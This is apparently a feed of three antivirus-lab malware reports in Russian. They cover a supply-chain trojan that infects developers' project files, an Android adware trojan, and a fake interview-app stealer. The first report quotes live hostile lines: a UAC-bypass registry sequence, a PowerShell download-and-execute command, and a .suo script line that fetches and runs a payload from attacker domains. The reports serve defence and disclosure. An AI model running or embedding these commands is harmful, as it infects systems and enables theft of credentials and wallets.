О вирусах

Цель – разработчики. Новый троян атакует цепочки поставок и наносит комбинированный ущерб зараженным ПК

Fri, 10 Jul 2026 02:00:00 GMT

Объектом исследования специалистов антивирусной лаборатории стала новая троянская программа. Она представляет собой угрозу типа supply chain attack, т. е. атака на цепочки поставок. Отличительная черта этого ВПО — фокус на проекты, созданные на языке программирования С++ и C#. Еще одна особенность — повышенная опасность. Троян объединяет в себе ряд поражающих факторов, одновременно выполняя несколько функций: стилера, клиппера, бэкдора, майнера и источника заражения файлов.

Первые случаи распространения трояна были зафиксированы в последнем квартале 2025 года, с тех пор он постоянно модифицируется разработчиками. В основном он распространяется по интернету через зараженные .exe и python файлы. Процесс заражения многоступенчатый, разберем протекание каждой стадии и их цели одну за другой.

Стадия 1. Trojan.DownLoader49.35384

Специалисты «Доктор Веб» обнаружили множество зараженных легитимных приложений с похожей структурой. В изначальный исполняемый файл добавлен глобальный объект, а выполнение троянизированного приложения начинается с получения доступа к системным API через метод PEB walking. Далее стандартная функция initterm проходит таблицу указателей функций и инициализирует их, где одна из таких функций является вредоносной и запускает PowerShell команду. В некоторых версиях трояна эта нагрузка хранится в зашифрованном виде.

Запуск через initterm

PowerShell команда скачивает и выполняет вредоносный файл Trojan.DownLoader49.35687, что означает запуск второй стадии.

Вредоносная PowerShell команда

В дополнение к исполняемым файлам были обнаружены файлы на языке Python (Python.Downloader.255). В них тот же вредоносный код был зашифрован с помощью механизма симметричного шифрования Fernet. Он спрятан за простой обфускацией — множеством пробелов в первой строке. В этом случае выполнение также проходит в несколько этапов.

Вредоносные Python файлы

Стадия 2. Trojan.DownLoader49.35687

На этом этапе троян Trojan.DownLoader49.35687 выполняет проверку своего запуска в песочнице. Кроме этого, он создает объект синхронизации mutex c именем Global\PFNMX (фиксированное значение). Пример подобного объекта: \Sessions\1\BaseNamedObjects\Global\PFNMX_0o6u9MMc2QdKvqeHmgPRE008. Таким образом троян проверяет, не запущена ли ранее на компьютере другая копия.

Во время второй стадии троян пытается получить адреса C2 сервера с помощью публичных репозиториев GitHub и игровой платформы Steam. На них злоумышленники оставляют домены, которые троян считывает и использует как URL для загрузки третьей стадии — трояна BackDoor.Siggen2.5906.

Аккаунты Steam, созданные злоумышленниками, содержат название домена в открытом виде.

Аккаунт Steam с C2 доменом

На GitHub злоумышленники сохранили зашифрованный адрес C2 домена в виде raw файла: raw[.]githubusercontent[.]com/XxXloverXxX/rustflare/refs/heads/main/crates/engine. Троян загружает этот файл и расшифровывает его сначала через Base64, а затем с помощью операции XOR с ключом ZwFlushKey.

Зашифрованные домены

После скачивания следующей стадии, Trojan.DownLoader49.35687 внедряет ее в процесс одного из 41 заранее указанных исполняемых файлов из C:\Windows\System32.

Адрес домена С2, с которым удалось установить связь, добавляется к прописанным в исходном коде трояна строкам и передается следующей стадии через именованный канал pipe\VccFramework.

Стадия 3. BackDoor.Siggen2.5906

На этой стадии происходит основная вредоносная деятельность. BackDoor.Siggen2.5906 создает объект синхронизации mutex с фиксированным именем вида Global\PFNX_Side (фиксированное значение). Затем через ранее созданный канал троян получает данные от второй стадии, откуда извлекает идентификаторы трояна и домен С2, с которым BackDoor.Siggen2.5906 будет коммуницировать.

Чтобы закрепиться в системе, троян скачивает файл «bungee.boo», который выполняет функции стадии 2 — Trojan.DownLoader49.35687, и подменяет им DLL файлы:

«profapi.dll» приложения Discord,
«domain_actions.dll» в папке «Domain Actions» и «well_known_domains.dll» в папке «Well Known Domains» приложения Microsoft Edge,
«C:\Windows\omadmapi.dll».

Дополнительно BackDoor.Siggen2.5906 может модифицировать системный реестр Windows таким образом, что при открытии архивированных файлов с помощью WinRar.exe будет запускаться вредоносный код.

Для действий с правами администратора троян использует технику обхода UAC. ВПО генерирует .vbs файл с названием из случайных цифр, в котором оставляет команду для выполнения с правами администратора. Далее через cmd.exe запускаются команды:

reg delete "HKEY_CURRENT_USER\Software\Classes\ms-settings" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /ve /t REG_SZ /d "wscript.exe
%APPDATA%\Microsoft\369059.vbs" /f
reg add "HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
c start /B ComputerDefaults.exe

Затем троян реализует 5 вредоносных функций: стилер, клиппер, бэкдор, майнер и источник заражения файлов.

Стилер

Троян способен красть различную информацию:

токены Discord, которые позволяют войти в чужие аккаунты без ввода логина/пароля;
пароли и куки из браузеров Chrome, Edge, Opera, Brave, Yandex и др. Кроме обычных техник извлечения данных, может использовать файл CCCWF.tmp (Trojan.PWS.Siggen5.33623). Он встраивается в браузер, а затем считывает пароли и сохраняет их в текстовые файлы;
папки Telegram Desktop;
папки криптокошелька Exodus.

Кроме хищений папок Exodus, троян производит модификацию криптокошелька. Для этого он находит файл app.asar и заменяет его на копию, скачанную с URL balista[.]lol/Stb/PokerFace/RTApp[.]txt при помощи curl. В подмененной версии в index.js (Trojan.Siggen32.44702) находится функция unlock(), которая при запуске отправляет мнемонические фразы кошелька на сервер злоумышленников.

Подмененный файл index.js

Клиппер

Особо опасная функция трояна. ВПО постоянно следит за буфером обмена пользователя: ищет данные банковских карт и отправляет их на сервер злоумышленников. Также вредонос заменяет адреса криптокошельков на подставные, которые получает от C2 сервера.

Бэкдор

Функциональность трояна позволяет злоумышленникам удаленно управлять зараженным ПК с помощью команд:

exc	скачать файл с url при помощи curl и запустить его
RVRS	запустить Reverse Proxy
RUNCMD	запустить команду через cmd
GETFILE	загрузить содержимое определенного файла на управляющий сервер
LISTDIR	отправить список файлов из определенной директории компьютера на управляющий сервер
TROLL	запустить команду для троллинга пользователя, есть опции earrape, scary_sound, rickroll, mute_audio, jumpscare_screamer и т. д.

Майнер

При помощи curl троян скачивает с сервера и запускает файл https://files[.]catbox[.]moe/lvh9j3[.]bin — Trojan.Packed2.50953. Своим строением и действиями он похож на стадию 2, только вместо BackDoor.Siggen2.5906 он скачивает и внедряет Trojan.BtcMine.3956. Этот майнер запускается только после определенного периода бездействия пользователя. ВПО использует инструменты XMRig, T-Rex и TeamRedMiner с открытым исходным кодом.

Заражение файлов

Главная отличительная черта этого трояна — заражение файлов и дальнейшее самостоятельное распространение. Список заражаемых файлов:

imgui_impl_win32.cpp,
.suo,
.exe,
winnetwk.h (Windows SDK),
.vcxproj и .csproj.

Чтобы определить пути к файлам, которые можно заразить, троян перебирает диски и запускает команду. Пример для диска A://

dir /a /s /b A:\*imgui_impl_win32.cpp A:\*.suo A:\*.exe A:\*.vcxproj A:\*.csproj > %ALLUSERSPROFILE%\ADat.bin3290.

Злоумышленники строят свой расчет на том, что разработчики будут публиковать свои проекты с вредоносным кодом в открытом доступе. Другие разработчики, которые будут собирать, компилировать или модифицировать проект, автоматически заразят свои компьютеры из-за файлов .suo, .vcxproj и .csproj, а обычные пользователи могут запустить зараженные исполняемые файлы, созданные с помощью скомпрометированных инструментов разработки.

Файл imgui_impl_win32.cpp. Trojan.Loader.3129

Файл imgui_impl_win32.cpp — часть популярной библиотеки Dear ImGui, отвечающей за графический интерфейс для языка программирования С++. Троян внедряет в файл две строки: первая содержит полезную нагрузку, вторая запускает ее.

Строка кода с полезной нагрузкой

Строка кода с запуском пэйлоада

Итог — команда


start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api[.]tf/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt' -OutFile $env:APPDATA\BK879002.exe; Start-Process -FilePath $env:APPDATA\BK879002.exe -WindowStyle Hidden }"

Таким образом, библиотека оказывается зараженной и любые созданные пользователем приложения на С++ будут иметь в себе вредоносный код. При передаче или загрузке подобных приложений заражение будет распространяться дальше.

Файлы .suo. Trojan.Loader.3138

Это расширение файлов среды разработки Microsoft Visual Studio. В них хранятся настройки пользователя для определенных проектов. Троян заменяет оригинальный файл на зараженный, полученный с C2.

Зараженный файл

В результате при открытии проекта в Visual Studio запускается вредоносный код:


javascript:new ActiveXObject('WScript.Shell').Run('cmd /b /c curl -o \"C:\\ProgramData\\S47LY.exe\" \"https://pee-files[.]nl/Stb/Retev.php?bl=1BRn03AWabt6xvxWdzDSW01.txt\" && start \"\" \"C:\\ProgramData\\S47LY.exe\"', 0, false);close();

Файлы winnetwk.h. Trojan.Loader.3184

Windows SDK — официальный набор инструментов Microsoft, который позволяет создавать приложения для ОС Windows.

С помощью реестра троян находит папку, куда установлен Windows SDK. В этой папке происходит поиск файла winnetwk.h, ответственного за работу с сетевыми ресурсами. Затем в него добавляется вредоносный код.

Зараженный файл winnetwk.h

После этого все программы, созданные с помощью winnetwk.h, будут иметь вредоносный код, который запускает стадию 2.

Файлы .exe

Троян ищет подходящие .exe файлы и внедряет в них функции инициализации API и запуска initterm. Затем файл начинает работать как Trojan.DownLoader49.35384, он же стадия 1.

Файлы .vcxproj (Trojan.Loader.3128, Trojan.Loader.3127) и .csproj (Trojan.Loader.3126)

Это файлы проектов Visual Studio на языках программирования C++ и C#. В них добавляется команда PreBuildEvent, которая запускается перед каждой сборкой проекта. Ранние версии трояна добавляли код, подобный стадии 1.

Ранняя версия кода

В новых версиях код стал сложнее, появилась дополнительная обфускация.

Новая версия кода

Один из этапов выполнения Trojan.Loader.3128

В результате вредоносной команды записывается вредоносный .vbs файл, который, в свою очередь, запускает PowerShell payload. Троян делает запрос к URL-адресам:

youtu.be/akoxddx6lgc,
steamcommunity.com/profiles/76561198737324192.

На этих адресах хранится другой URL-адрес, зашифрованный с помощью base64.

YouTube-аккаунт с зашифрованным URL-адресом

После расшифровки троян получает C2 домен, к которому обращается за нагрузкой, сходной со стадией 2.

Описание работы трояна позволяет сделать вывод, что он представляет повышенную опасность из-за комбинирования целого ряда вредоносных функций. Во избежание заражения своего компьютера и дальнейшего распространения трояна рекомендуем регулярно обновлять антивирусные базы и проверять все скачанные из интернета файлы. Пользователи антивируса Dr.Web Security Space и Dr.Web Desktop Security Suite могут быть спокойны, поскольку троян надежно определяется и удаляется антивирусами Dr.Web. Файлы типа .vcxproj, .csproj и imgui лечатся, из них удаляется вредоносный код.

Подробнее об Trojan.DownLoader49.35384

Подробнее об Trojan.DownLoader49.35687

Подробнее об BackDoor.Siggen2.5906

Подробнее об Trojan.BtcMine.3956

Индикаторы компрометации

Троян Android.MagicAd показывает рекламу вопреки всем ограничениям

Thu, 04 Jun 2026 04:00:00 GMT

Специалисты антивирусной лаборатории компании «Доктор Веб» обнаружили троянскую программу Android.MagicAd, которая различными способами обходит ограничения ОС Android и показывает рекламу при работе в фоне. Один из этих методов является универсальным, другие рассчитаны на устройства определенных производителей. Среди них — эксплуатация сторонних приложений, а также использование системного медиаплеера.

Android.MagicAd.1 распространялся через официальный каталог приложений для устройств Xiaomi GetApps и скрывался в более чем 50 различных играх и программах. Они появлялись в магазине на короткий срок — чаще всего до месяца, после чего пропадали, и вместо них появлялись новые. Возможно, таким образом злоумышленники пытались защитить Android.MagicAd.1 от преждевременного обнаружения, сохранив при этом его активность: после удаления из магазина троянские программы продолжают оставаться на устройствах пользователей и могут и дальше выполнять вредоносную деятельность. В настоящее время ни одно из выявленных нами приложений с Android.MagicAd.1 не доступно для загрузки в каталоге GetApps, а у распространявших их разработчиков перестали появляться новые программы с трояном.

Проведенное вирусными аналитиками «Доктор Веб» исследование показало, что первые версии Android.MagicAd.1 появились в 2025 году и помимо каталога GetApps также встречались в Samsung Galaxy Store.

Примеры игр и программ из каталога GetApps, в которых скрывался Android.MagicAd.1. На момент публикации нашей новости эти и другие модификации трояна стали недоступны для скачивания

Часть вредоносной функциональности Android.MagicAd.1 находится в dex-модулях, которые скрыты в зашифрованных нативных библиотеках в каталоге с файловыми ресурсами трояна. В процессе работы он расшифровывает эти библиотеки, извлекает из них свои компоненты и запускает.

Прежде чем приступить к демонстрации рекламы, троян выполняет ряд проверок, чтобы убедиться, что его окружение является безопасным. Например, он ищет признаки работы в виртуальной среде, проверяет, была ли его установка органической, нет ли IP-адреса зараженного устройства в его черном списке и т. д.

Если Android.MagicAd.1 не обнаруживает подозрительную активность, он скрывает свой значок из списка программ в меню главного экрана. Затем он создает канал уведомлений, через который запускает несколько вредоносных сервисов постоянного присутствия, необходимых для работы в фоновом режиме при закрытом окне вредоносного приложения. Далее через планировщик задач Android.MagicAd.1 создает задание, которое периодически перезапускает сервисы, проверяющие работу канала уведомлений и при необходимости запускающие его вновь. Кроме того, при работе на устройствах с относительно старыми версиями ОС Android троян запускает виртуальный экран, чтобы работа одного из его компонентов не прерывалась системой.

Чтобы показывать рекламу в фоновом режиме, когда его окно закрыто, Android.MagicAd.1 применяет ряд методик, выбираемых на основе производителя зараженного устройства. При этом они реализуются без явного запроса системного разрешения SYSTEM_ALERT_WINDOW, которое позволяет приложению отображаться поверх других программ.

Независимо от применяемого способа, все рекламные баннеры загружаются в виде полупрозрачной активности (Translucent Activity), что дает возможность трояну отрисовывать их поверх существующих окон.

Примеры рекламы, которую демонстрирует Android.MagicAd.1

Одна из методик реализуется через намерения (Intent), адресованные другим приложениям. Она позволяет трояну обойти ограничения современных версий ОС Android, не позволяющие программам запускать самих себя. В зависимости от модели зараженного устройства, с помощью этой техники Android.MagicAd.1 либо сам демонстрирует объявления, либо непосредственно «заставляет» целевые программы показывать баннеры с рекламой.

В одном из вариантов данного способа целью трояна являются:

браузер Mi Browser на устройствах Xiaomi;
графическая оболочка Miui SystemUI на устройствах Xiaomi;
лончер Amazon Fire TV Home Screen на устройствах Amazon TV.

Все это — системные приложения на соответствующих устройствах, поэтому они способны обрабатывать намерения, даже когда не запущены пользователем напрямую. Пока эти программы активны и могут принимать намерения, Android.MagicAd.1 может использовать их для показа объявлений.

Стоит отметить, что если Mi Browser установлен на устройстве Xiaomi не как системное приложение, троян также может использовать эту программу для демонстрации рекламы — до тех пор, пока окно браузера не будет закрыто.

Когда Android.MagicAd.1 обнаруживает Mi Browser на подходящем устройстве, он отправляет отложенное намерение для запуска рекламы своему dex-компоненту (детектируется Dr.Web как Android.MagicAd.1.origin). Тот формирует из него собственное намерение и передает браузеру, который извлекает исходное намерение и в соответствии с ним запускает рекламу.

Взаимодействие с двумя другими программами несколько отличается — они используются для вызова трояна из фонового режима. Вначале Android.MagicAd.1 отправляет модулю Android.MagicAd.1.origin отложенное намерение для запуска рекламы, и тот передает целевым программам собственное намерение для своего пробуждения. Если это приложение Miui SystemUI, оно в ответ отправляет свое намерение для запуска модуля. Если же целевой программой является Amazon Fire TV Home Screen, она запускает модуль напрямую — по имени его пакета. Получив управление, модуль Android.MagicAd.origin запускает рекламу, которая поступила ему в отложенном намерении от основного вредоносного приложения.

Если трояну не удается показать рекламу, он пытается использовать этот способ еще дважды, и в случае неудачи пытается показать рекламу напрямую, уже не задействуя отложенные намерения и свой вредоносный dex-модуль.

Другая вариация этого способа похожа на предыдущую и применяется для эксплуатации программ на устройствах Vivo. Она отличается тем, что запуск рекламы происходит при помощи Android Binder — системного компонента, обеспечивающего взаимодействие между процессами. В данном случае троян нацелен на следующие системные программы:

iManager,
Телефонная книга,
Vivo Browser,
Baidu IME Customized.

Android.MagicAd.1 запускает их через Android Binder, отправляя ему обычные намерения через контейнер данных Parcel. Эти программы затем запускают троянский компонент Android.MagicAd.origin, который после выхода из фонового режима показывает рекламу.

В Android.MagicAd.1 также предусмотрено несколько других методик для демонстрации рекламы при работе в фоне, среди них — использование медиаплеера. В отличие от способов, нацеленных на определенные устройства, этот метод является универсальным и работает на большинстве моделей от различных производителей. Android.MagicAd.1 расшифровывает из своего тела аудиофайл и сохраняет его в рабочую директорию. Затем вредоносная программа запускает свой экземпляр системного медиаплеера, задает в нем минимальную громкость и связывает его с глобальной системой управления мультимедиа ОС Android. Далее для запуска рекламы Android.MagicAd.1 устанавливает широковещательный приемник, отслеживающий нажатия в этом плеере. Затем троян при помощи специальной adb-команды имитирует действия пользователя, нажимая в плеере кнопку записи, после чего сразу же закрывает его окно. Нажатие кнопки приводит к срабатыванию системного медиаприемника, который позволяет Android.MagicAd.1 перехватить управление и запустить рекламу.

Dr.Web Security Space для мобильных устройств надежно детектирует и удаляет все известные версии вредоносной программы Android.MagicAd.1, поэтому для наших пользователей она опасности не представляет.

Индикаторы компрометации

Подробнее об Android.MagicAd.1

Подробнее об Android.MagicAd.1.origin

Вместо работы — украденные данные и деньги. В поддельных приложениях для онлайн-собеседований скрывается троян-стилер, который атакует пользователей macOS и Windows

Thu, 07 May 2026 01:00:00 GMT

Эксперты «Доктор Веб» предупреждают о распространении троянской программы JobStealer, похищающей конфиденциальную информацию у пользователей компьютеров под управлением macOS и Windows. В первую очередь она нацелена на кражу данных из криптокошельков. Мошенники под предлогом проведения онлайн-собеседований заманивают потенциальных жертв на вредоносные сайты, где предлагают установить приложение для видеоконференций. В действительности это ПО — и есть троян JobStealer.

Атака начинается с того, что злоумышленники связываются с потенциальными жертвами и предлагают им ту или иную вакансию. Они приглашают пользователей пройти собеседование и предоставляют им ссылки на сайты «платформ» для проведения онлайн-встреч — якобы для подключения к видеоконференции. Эти сайты имеют презентабельный вид, но на самом деле являются мошенническими. С них под видом программы для онлайн-конференций скачивается вредоносная программа JobStealer. При этом киберпреступники используют различное оформление таких интернет-ресурсов, а также меняют имена самой программы. Наши специалисты встречали варианты с названиями MeetLab, Juseo, Meetix, Carolla и другие. В ряде случаев киберпреступники используют названия настоящих сервисов, таких как Webex.

Примеры сайтов поддельных сервисов онлайн-конференций, с которых скачивается JobStealer

Чтобы пользователи поверили, что платформы являются полноценно функционирующими, мошенники создают соответствующие телеграм-каналы и аккаунты в социальных сетях — например, X.

Для маскировки трояна под легитимное ПО злоумышленники создают видимость активности в социальных сетях

Для установки программы на устройства с macOS посетителям вредоносных сайтов предлагается две опции:

скопировать и выполнить в терминале bash-команду, указанную на сайте;
скачать файл образа диска в формате .dmg и запустить его.

Троян JobStealer скачивается с вредоносных сайтов как в виде dmg-контейнера, так и через выполнение bash-команды в терминале

В первом случае при выполнении команды в терминале из интернета автоматически загружается и исполняется скрипт, который скачивает и запускает исполняемый файл JobStealer (детектируется как Mac.PWS.JobStealer.1).

Во втором случае предлагаемый к загрузке dmg-образ изначально содержит указанные выше файлы. При монтировании он демонстрирует инструкцию по «установке» приложения. В ней указано, что пользователю необходимо открыть терминал и перетащить в его окно прилагаемый скрипт. На самом деле вместо установки ПО для видеоконференций скрипт запустит троянский файл.

Изображение с инструкцией, которое демонстрируется при открытии файла образа с трояном JobStealer

Mac.PWS.JobStealer.1 представляет собой исполняемый файл-контейнер в формате Fat Mach-O и содержит двоичный код сразу для нескольких процессорных архитектур — x64 и arm64. В зависимости от платформы зараженного компьютера при запуске трояна автоматически задействуется компонент, соответствующий целевому процессору.

Отметим, что существуют различные версии Mac.PWS.JobStealer.1. Более ранние варианты вредоносного приложения не поддерживали работу на компьютерах Mac с архитектурой arm64. В них также отсутствовала обфускация — ее вирусописатели начали добавлять и усиливать по мере обновления стилера.

После запуска Mac.PWS.JobStealer.1 демонстрирует фишинговое окно, где сообщает о якобы возникшей ошибке в работе. Для ее «исправления» вредоносная программа просит пользователя указать пароль от его учетной записи.

Фишинговое окно, в котором запрашивается пароль от учетной записи пользователя Mac

Далее Mac.PWS.JobStealer.1 собирает следующие данные:

версию операционной системы и идентификатор компьютера;
данные порядка 300 браузерных расширений-криптокошельков, установленных в целевых браузерах на базе Chomium (Chrome, Opera, Brave, OperaGX, Vivaldi, Edge, Arc, CocCoc);
файлы cookie из этих браузеров;
пароли, а также данные банковских карт, сохраненные в браузерных списках автозаполнения форм;
файлы мессенджера Телеграм из директорий /Library/Application Support/Telegram Desktop/tdata и /Documents/temp_data/Apps/Telegram, где хранятся сессионные ключи авторизации, загружаемые файлы и т. п.;
пользовательские заметки из нативного для macOS приложения Notes;
наличие в системе приложений криптокошельков Ledger Live и Trezor Suite.

Эти данные помещаются в ZIP-архив и загружаются на C2-сервер.

Вирусописатели также подготовили версию трояна JobStealer и для компьютеров под управлением ОС Windows. Его функциональность аналогична версии для macOS. Кроме того, на некоторых вредоносных сайтах, распространяющих стилера, предусмотрены разделы для загрузки приложения на другие популярные операционные системы. Однако на данный момент наши вирусные аналитики не зафиксировали их распространение. Например, кнопка загрузки программы для ОС Linux либо неактивна, либо ведет на Windows-версию трояна. А в разделах для скачивания программы для устройств на базе iOS и Android говорится, что эти версии находятся в разработке. При этом нельзя исключать, что злоумышленники в дальнейшем начнут распространять варианты трояна и для данных платформ.

Вредоносные сайты потенциально могут распространять версии трояна JobStealer для Linux, iOS и Android

Все известные модификации вредоносного приложения JobStealer надежно детектируются и удаляются антивирусными продуктами Dr.Web Security Space для macOS и Windows и не представляют угрозы для наших пользователей. Распространяющие трояна мошеннические сайты добавлены в базу нерекомендуемых и опасных ресурсов и также блокируются Dr.Web.

MITRE ATT&CK®

Мы проанализировали вредоносную программу JobStealer по фреймворку MITRE ATT&CK®, который представляет собой матрицу с описанием тактик и техник киберпреступников, атакующих информационные системы. В результате были выявлены следующие ключевые техники:

Этап	Техника
Выполнение	Выполнение с участием пользователя (T1204) Вредоносное копирование и вставка (T1204.004) Вредоносный файл (T1204.002)
Обнаружение	Обнаружение файлов и каталогов (T1083)
Сбор данных	Автоматизированный сбор (T1119) Данные из локальной системы (T1005) Учетные данные из хранилищ паролей (T1555) Связка ключей (T1555.001) Учетные данные из браузеров (T1555.003) Перехват вводимых данных (T1056) Перехват ввода в графическом интерфейсе (T1056.002) Архивация собранных данных (T1560)
Организация управления	Веб-служба (T1102)
Эксфильтрация данных	Автоматизированная эксфильтрация (T1020) Эксфильтрация по каналу управления (T1041) Эксфильтрация через веб-службу (T1567)

Подробнее о Mac.PWS.JobStealer.1

Индикаторы компрометации